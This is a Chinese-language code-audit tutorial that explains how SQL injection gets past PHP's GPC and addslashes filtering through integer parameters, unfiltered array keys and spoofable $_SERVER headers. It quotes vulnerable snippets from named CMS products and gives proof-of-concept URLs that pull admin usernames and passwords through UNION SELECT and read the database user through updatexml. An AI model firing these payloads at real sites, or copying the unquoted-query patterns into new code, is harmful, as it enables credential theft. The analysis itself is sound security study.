时间：2021-07-01 10:21:17 帮助过：20人阅读
现在的WEB应用对SQL注入的防护基本都是判断GPC是否开启，然后使用addlashes函数对单引号等特殊字符进行转义。但仅仅使用这样的防护是存在很多盲点的，比如最经典的整型参数传递，也即被带入数据库查询的参数是整型、数组中的key没过滤被带入了查询以及全局过滤了GET、POST但没过滤SERVER或COOKIE引发的注入。所以看似有全局防护，实则隐藏了很多“后门”～
盲点如下：
①注入点类似id=1这种整型的参数就会完全无视GPC的过滤；
②注入点包含键值对的，那么这里只检测了value，对key的过滤就没有防护；
③有时候全局的过滤只过滤掉GET、POST和COOKIE，但是没过滤SERVER。
附常见的SERVER变量（具体含义自行百度）：QUERY_STRING,X_FORWARDED_FOR,CLIENT_IP,HTTP_HOST,ACCEPT_LANGUAGE
环境请自行搜寻和搭建吧，从这篇开始只做分析不提供漏洞测试环境~~
完全无视GPC的数字型的注入，其实仔细总结下发现还是很多可以学习的地方。
1.传入的参数未做intval转换、构造的sql语句没有单引号保护
这个还是比较常见的，当初笔者挖到过一些，乌云案例 http://www.wooyun.org/bugs/wooyun-2010-065605
fetch_array(mysql_query($sql="select * from ".$db->tablepre."newstype where newstypeid=".$typeid));//typeid参数存在注入，数字型；?>
获取管理员账户密码的POC：
http://localhost/jdy1.5/typeid.php?typeid=1 and 1=2 UNION SELECT NULL,(select concat(username,0x23,password) from jdy_admin limit 1),NULL,
2.同一参数在第一个sql里做了单引号保护，紧跟第二个忘记加单引号
有幸在Discuz!上看到此类问题，膜拜下雨牛的漏洞 http://www.wooyun.org/bugs/wooyun-2014-079045
简单分析下漏洞原理
首先$itemid经过的第一条SQL语句如下
$query = $_SGLOBAL['db']->query('SELECT * FROM '.tname('spacetags').' WHERE itemid=\''.$itemid.'\' AND status=\''.$status.'\'') $itemid是有单引号保护的并且做了select查询，如果查询有结果才会带入到delete中，如果无结果就不执行delete。在数据库里itemid是int类型存储的，所以这里本意是只能提交数字型才能查询出结果，如果不是提交的数字的话那么就查询不出来结果，就不去执行下面的delete语句了。但是由于mysql的类型转换，因为这里储存的是int类型，所以1xxxxx跟1的查询结果是一样的，如下：
然后后面第二条delete的sql语句如下
$_SGLOBAL['db']->query('DELETE FROM '.tname('spacetags').' WHERE itemid='.$itemid.' AND tagid IN ('.simplode($deletetagidarr).') AND status=\''.$status.'\''); 这里忘记加单引号了，根据上图我们可以构造获取数据库用户的POC：
http://localhost/sup/dan/supesite/cp.php?ac=news&op=view&itemid=4 and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))#
3.php弱类型语言,判断逻辑错误引发注入
还是雨牛的案例 http://www.wooyun.org/bugs/wooyun-2010-088872
这里只讲下漏洞形成的原理
如上图，弱类型语言在逻辑判断上0<1和0 union select 1<1是等价的，都返回True。
程序员往往在对数组的处理上不够严谨，导致会出现此类漏洞，笔者当年有幸挖到过ShopEx旗下的ecmall存在这类漏洞，链接：
http://www.wooyun.org/bugs/wooyun-2010-065284
由于上面那个案例跟序列化相关且过程较为复杂，这里引用乌云另外一则案例： http://www.wooyun.org/bugs/wooyun-2010-069746 ，简要分析这个案例，我们首先看下对数组进行处理的函数：
$_POST=Add_S($_POST);$_GET=Add_S($_GET);$_COOKIE=Add_S($_COOKIE);... ...function Add_S($array){ foreach($array as $key=>$value){ if(!is_array($value)){ $value=str_replace("&#x","& # x",$value); //过滤一些不安全字符 $value=preg_replace("/eval/i","eva l",$value); //过滤不安全函数 !get_magic_quotes_gpc() && $value=addslashes($value); $array[$key]=$value; }else{ $array[$key]=Add_S($array[$key]); } } return $array; 可以看到对数组的value进行了严格的过滤和addlashes转义，但对key没有任何过滤操作，然后我们全局搜索关键词“$key=>$value”，发现如下代码$key被带入了查询
elseif($job=='manage'){ if(!$atc_power)showerr("你没权限"); if($rsdb[pages]<2){ header("location:post.php?job=edit&aid=$aid∣=$mid&only=$only");exit; } $erp=get_id_table($aid); if($step==2){ asort($orderDB); $i=0; foreach( $orderDB AS $key=>$value){ $i++; $db->query("UPDATE {$pre}reply$erp SET orderid=$i WHERE aid='$aid' AND rid='$key'"); } 构造获取管理员账户密码的POC如下图：
其它案例： http://www.wooyun.org/bugs/wooyun-2014-071516
常常发生在获取用户ip并入库的函数上，类似如下代码：
//获取访问者IP（PHP代码/函数） function get_ip(){ if(getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"),"unknown")){ $ip=getenv("HTTP_CLIENT_IP"); }else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"),"unknown")){ $ip=getenv("HTTP_X_FORWARDED_FOR"); }else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"),"unknown")){ $ip=getenv("REMOTE_ADDR"); }else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'],"unknown")){ $ip=$_SERVER['REMOTE_ADDR']; }else{ $ip="unknown" ; } return $ip; } 发现通过$_SERVER变量获取客户端ip且可以通过X_FORWARDED_FOR伪造，然后这里对X_FORWARDED_FOR是没有任何正则处理的，所以我们全局搜索下get_ip函数发现有一些调用并且入库的地方。
program/index/receive/login.php处代码为例：